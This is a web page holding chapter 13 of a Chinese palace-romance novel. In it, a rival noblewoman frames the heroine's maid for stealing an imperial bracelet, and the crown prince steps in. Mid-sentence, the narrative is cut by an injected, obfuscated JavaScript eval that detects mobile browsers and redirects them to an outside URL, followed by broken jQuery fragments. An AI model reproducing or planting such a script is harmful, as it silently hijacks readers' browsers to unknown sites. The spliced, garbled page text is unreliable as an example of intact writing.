风竹小说 > 都市言情 > 太子他又冷又撩 > 13. 013
    春意渐浓,御花园内新绿初绽,几株晚开的玉兰亭亭玉立。

    这日,林婉奉太后之命,将抄录好的几卷祈福经文送至慈宁宫后,正沿着园中小径返回,不期然在通往宫门的必经之路——九曲回廊处,遇见了刚从皇后宫中出来的萧衍。

    他身着玄色蟠龙常服,身姿挺拔,正负手而立,听着身旁一位工部官员模样的臣子低声回话。

    阳光透过廊柱,在他周身勾勒出清冷的光晕。

    林婉脚步微顿,正欲垂首避让到一旁等候,萧衍却已瞥见了她。

    他并未中断与臣子的交谈,只是目光在她身上停留了一瞬,极快,却足够让她感受到那片刻的专注。

    随即,他看似不经意地,将原本站在廊道中央的身形,向旁侧微微挪动了半步。

    这半步,恰好为她让出了更宽敞的通行空间,也使得他原本完全被臣子遮挡的侧影,清晰地展现在她面前。

    这是一个极其细微,几乎难以察觉的动作,若非一直将心神系于他身上,绝不会注意到这默许她靠近、乃至通过的姿态。

    林婉心领神会,正欲快步低头走过。

    “太子殿下金安。”两道娇柔的声音自身后响起。

    林婉回头,只见苏静柔与孙明薇相偕而来,显然也是刚离了凤仪宫。

    苏静柔今日穿着一身烟霞色锦裙,明媚照人;而她身旁的孙明薇,则是一身月白绣淡紫藤花衣裙,更显沉稳清雅。

    萧衍淡淡颔首,算是回礼,目光并未在她们身上多作停留,依旧听着臣子禀报。

    苏静柔见到林婉,眼中闪过一丝不悦,但碍于萧衍在场,只得维持着笑容:“林妹妹也在,真是巧了。”

    林婉敛衽行礼:“苏姐姐,孙姐姐。”

    孙明薇微笑着还礼,目光却似有若无地快速扫过萧衍与林婉之间那看似疏离、实则因他方才那细微的挪步而显得微妙缩短的距离。

    她的视线最终落在萧衍的侧脸上,见他虽未看林婉,但那惯常冷峻的眉眼线条,在此刻似乎比平日面对她们时,略微柔和了那么一分。

    尤其当一阵微风拂过,吹动林婉鬓边碎发时,她清晰地看到,萧衍垂在身侧的手指几不可察地动了一下,仿佛下意识想抬手,又即刻克制住,恢复成虚握的姿势。

    这电光火石间的细微变化,或许连萧衍自己都未曾深究,却如同细针,精准地刺入了孙明薇一直小心翼翼掩藏的心扉。

    她袖中的手微微蜷紧,面上却依旧是那副温婉得体的模样。

    苏静柔并未察觉这些暗涌,她所有的注意力都在如何吸引萧衍注意上。

    她上前一步,巧笑嫣然地对萧衍道:“殿下是在商议政务吗?倒是我们打扰了。方才在皇后娘娘处,娘娘还提起殿下近日操劳,甚是挂念呢。”

    萧衍目光依旧落在臣子呈上的图纸上,只淡淡道:“有劳母后挂心。”

    语气疏离,并未接她的话茬。

    场面一时有些冷清。

    苏静柔脸上的笑容有些勉强。

    就在这时,那回话的臣子似乎提到了某个水利术语,萧衍眉头微蹙,显然对此不甚熟悉。

    一直垂首静立的林婉,因近日整理了大量舆图志书,恰好对此略有印象,她并未出声,只是下意识地抬起眼帘,目光落在图纸的某处。

    萧衍仿佛与她心有灵犀般,几乎在同一时刻,顺着她目光所示意的方向看去,指尖在图纸上轻轻一点,沉声道:“此处,再细说。”

    那臣子恍然大悟,连忙详细解释起来。

    这一幕,再次落入了孙明薇眼中。

    她看到的是两人之间那无需言语的默契,是萧衍对林婉无声的、甚至可能他自己都未察觉的信任与引导。

    一股混合着酸涩与嫉妒的暗火,在她心底悄然燃起。

    萧衍处理完事务,臣子躬身退下。

    他这才将目光淡淡扫过眼前三位女子,语气平稳无波:“都散了吧。”

    说罢,率先迈步离去,未曾多看任何人一眼。

    待萧衍走远,苏静柔终于忍不住,狠狠剜了林婉一眼,语气带着讥讽:“妹妹如今倒是愈发能耐了,连殿下议政都敢在一旁‘聆听’。”

    林婉不欲与她争辩,只垂眸道:“姐姐说笑了,臣女不敢。”

    说完,便敛衽行礼,转身沿着回廊离去。

    就在林婉即将走出回廊尽头时,一个穿着浅绿色比甲、梳着双环髻的小丫鬟从廊柱后快步迎了上来,脸上带着显而易见的关切,正是立秋。

    她一直在宫门外等候,见自家小姐迟迟未出,心中担忧,便借着由头寻到了此处附近。

    “小姐,”立秋压低声音,语气轻快,“您可算出来了,一切可还顺利?”

    她一边说着,一边自然而然地伸手,想要接过林婉手中捧着的、方才太后赏赐的一对白玉镇纸。

    动作间,她发间系着的淡黄色丝带随风轻轻飘动,显得伶俐又忠心。

    林婉见是她,微微颔首,将镇纸递过去,低声道:“无妨,回去吧。”

    主仆二人并未多言,相伴着转身离去。

    这一幕,清晰地落入了尚未离开的苏静柔与孙明薇眼中。

    孙明薇的目光先是落在林婉身上,随即精准地捕捉到了那个突然出现的、充满活力的丫鬟身上。

    她注意到那丫鬟对林婉毫不掩饰的关切,以及主仆之间那份自然流露的默契。

    尤其是那丫鬟眼神清澈,行动间带着一股未经世事磋磨的单纯与直率,在这规矩森严的宫廷背景下,显得格外扎眼,也……格外容易被人拿捏。

    苏静柔自然也看到了,她正满心愤懑无处发泄,见此情景,更是冷哼道:“哼,主子一副清高样,身边的丫鬟也没个稳重气,在宫里也敢这般探头探脑,毛毛躁躁!”

    孙明薇挽住苏静柔的手臂,柔声劝慰,目光却依旧追随着那主仆二人消失的方向,语气带着一丝不易察觉的引导:“静柔,何必与她一般见识?她终究是客居,根基浅薄。你与她争执,反倒失了身份。”

    她微微停顿,仿佛只是随口一提,目光却意味深长地收了回来,落在苏静柔气恼的脸上,声音放得更轻缓了些:“说起来,她那般身份,身边能用的人想必也有限。我瞧着,她那个叫立秋的丫鬟,倒是个忠心的,性子瞧着也活泼单纯……只是,这宫里宫外,人多眼杂,规矩也大。下人若是不懂事,言行无状,或是被人寻了错处,冲撞了哪位贵人,岂不是平白给她那位主子招祸?到时候,只怕她想护,也未必护得住呢。”

    她的话依旧温和,像是在分析利弊,点明风险。

    没有半个字教唆苏静柔去做什么,却每一个字都在苏静柔愤怒的心火上浇油。

    回安国公府的路上。

    她反复回味着孙明薇的话——动不了林婉,还动不了她身边这个碍眼又“易拿捏”的丫鬟吗?

    若能借此狠狠煞一煞林婉的威风,让她尝尝身边人受辱却无能为力的滋味,岂不快哉?

    还能让殿下看看,他另眼相看的人,连自己的丫鬟都管不好!

    苏静柔眼中的怒火渐渐被一种狠厉的算计取代。

    ——

    第三日,林婉需配一味安神的药材,东宫库房恰好短缺,便吩咐立秋去京城信誉最好的“仁济堂”购买。

    立秋领命,带着银钱和药方出了府。

    立秋在仁济堂仔细抓完药,小心包好,正准备返回。

    刚走出药堂不远,行至一处人流尚可、但不算熙攘的街口,便听得一道略显惊讶的娇柔声音自身侧响起:

    “咦?这不是林妹妹身边的立秋姑娘吗?”

    立秋回头,只见安国公府的马车不知何时停在了路边,苏静柔正由丫鬟搀扶着下车,孙明薇也在一旁,两人似是刚从哪里赴宴归来,或是正准备去往某处。

    立秋忙敛衽行礼:“奴婢给苏小姐、孙小姐请安。”

    苏静柔脸上带着恰到好处的浅笑,目光却似有若无地扫过立秋手中的药包,语气关切:“真是巧了。你这是……给你家小姐抓药?林妹妹身子还未大好么?”

    她说着,向前走了两步,仿佛只是寻常寒暄。

    立秋谨慎地回答:“劳苏小姐挂心,我家小姐只是需要些安神的药材调理,并无大碍。”

    就在这时,苏静柔身旁一个端着点心匣子的丫鬟,似乎被路人不小心撞了一下,“哎呀”一声,手中的匣子脱手飞出,点心撒了一地,更有几块滚到了立秋脚边。

    那丫鬟慌忙蹲下收拾,连声告罪。

    场面一时有些忙乱。

    苏静柔微微蹙眉,似是对这意外有些不悦,但并未责怪丫鬟,反而温声道:“毛手毛脚的,还不快收拾干净。”

    就在这短暂的混乱吸引了不少路人目光之际,苏静柔仿佛无意间抬手理了理鬓发,腕间一只赤金缠丝镯子在阳光下熠熠生辉。

    然而下一刻,她脸色倏然一变,抚着自己空无一物的手腕,惊呼道:“我的镯子!陛下亲赏的那只赤金缠丝镯怎么不见了?”

    她身边的丫鬟婆子顿时都慌了神,七嘴八舌地道:“方才还在小姐腕上的!”

    “定是刚才混乱时被人顺走了!”

    “快找找!那可是御赐之物!”

    苏静柔的目光焦急地扫过四周,最终,定格在因这突发状况而有些愣怔、恰好站在她近旁的立秋身上。

    她眼神锐利起来,带着审视和一丝合理的怀疑:“立秋姑娘,方才……似乎只有你离我最近?”

    立秋心中一惊,立刻明白过来,这是针对她的陷阱!

    她脸色发白,强自镇定道:“苏小姐明鉴,奴婢没有!奴婢一直好好拿着药包,并未靠近小姐身边……”

    “搜!”苏静柔不等她说完,便冷声下令,语气带着不容置疑的威严和一丝丢失御赐之物的焦急与愤怒,“御赐之物非同

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17024483|194324||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    小可,若真是你一时糊涂,现在交出来,本小姐或可看在林妹妹的面上从轻发落!若等搜出来,可就难看了!”

    她身边的婆子立刻上前,不顾立秋的挣扎和辩白,强行搜查。

    混乱中,一个婆子果然从立秋的袖袋里摸出了那只明晃晃的金镯子!

    “小姐!镯子在此!”那婆子高举镯子,大声道。

    周围顿时响起一片哗然和指指点点的声音。

    苏静柔看着那镯子,脸上露出一种混合着果然如此的失望和被信任辜负的愤怒,她指着立秋,声音带着颤意,却清晰地传到周围人耳中:“好你个胆大包天的奴才!连御赐之物都敢偷窃!人赃并获,还有何话可说?给我掌嘴!狠狠打!让她长长记性!”

    清脆而狠辣的巴掌声在街口响起,立秋的哭喊和冤屈被淹没在围观者的议论和苏府仆役的呵斥声中。

    立秋去了许久未归,林婉正觉不安,一个小丫鬟慌慌张张跑来:“姑娘,不好了!立秋姐姐在仁济堂附近的街口,被安国公府的苏小姐带人拦下了,说立秋偷了苏小姐的御赐金镯,正在当街掌嘴呢!”

    林婉手中的绣绷“啪”地掉在地上。

    她脸色瞬间雪白,身体微晃,却被一股冰冷的怒火支撑住。

    苏静柔!动不了她,便来动她身边的人!

    她强迫自己冷静下来,深吸几口气,对奶娘疾声道:“奶娘,你立刻去找福安,让他想办法打听清楚,当时除了苏家的人,还有哪些人在场,务必找到人证!”

    然后,她整理了一下衣裙,面上已恢复平静,只是眼底结了一层寒冰。

    她径直走向萧衍的书房。

    长安见她面色不对,未敢阻拦。

    林婉走进书房,在萧衍面前跪下,声音清晰冷静,不带一丝哭腔:“殿下,臣女丫鬟立秋,奉臣女之命外出购药,在仁济堂附近巷口被安国公府苏小姐带人拦下,诬陷偷窃,正在当街掌掴。臣女深信立秋清白,此事恐非针对一丫鬟,苏家之人于东宫附近当街扣押东宫仆役,更是意在折辱东宫颜面,试探殿下威信。臣女恳请殿下,遣一得力之人,以‘彻查此事,肃清诬陷’之名前往处理,以正视听。”

    萧衍放下朱笔,看着她。眼前的少女跪得笔直,下颌紧绷,眼中是他从未见过的锐利与决绝。

    像一只被触怒了雏鸟的母兽,收起了所有柔顺,亮出了稚嫩却坚定的爪牙。

    他沉默片刻,对长安道:“你去。把人带回来。告诉苏小姐,东宫的奴婢,纵有错处,也自有东宫的规矩处置,不劳外人越俎代庖,更遑论当街动用私刑。”

    长安领命而去,脚步匆匆。

    萧衍起身,走到林婉面前,俯身将她扶起。

    他的手掌温热有力,透过衣袖传来稳定的力量。

    “起来。”他看着她微红的眼眶,声音低沉,“孤的人,还轮不到别人来教训。”

    不多时,长安带着脸颊红肿、泣不成声的立秋回来了,一同带回的,还有那只“失窃”的镯子——确是从苏静柔一个

本章未完,请点击下一页继续阅读>>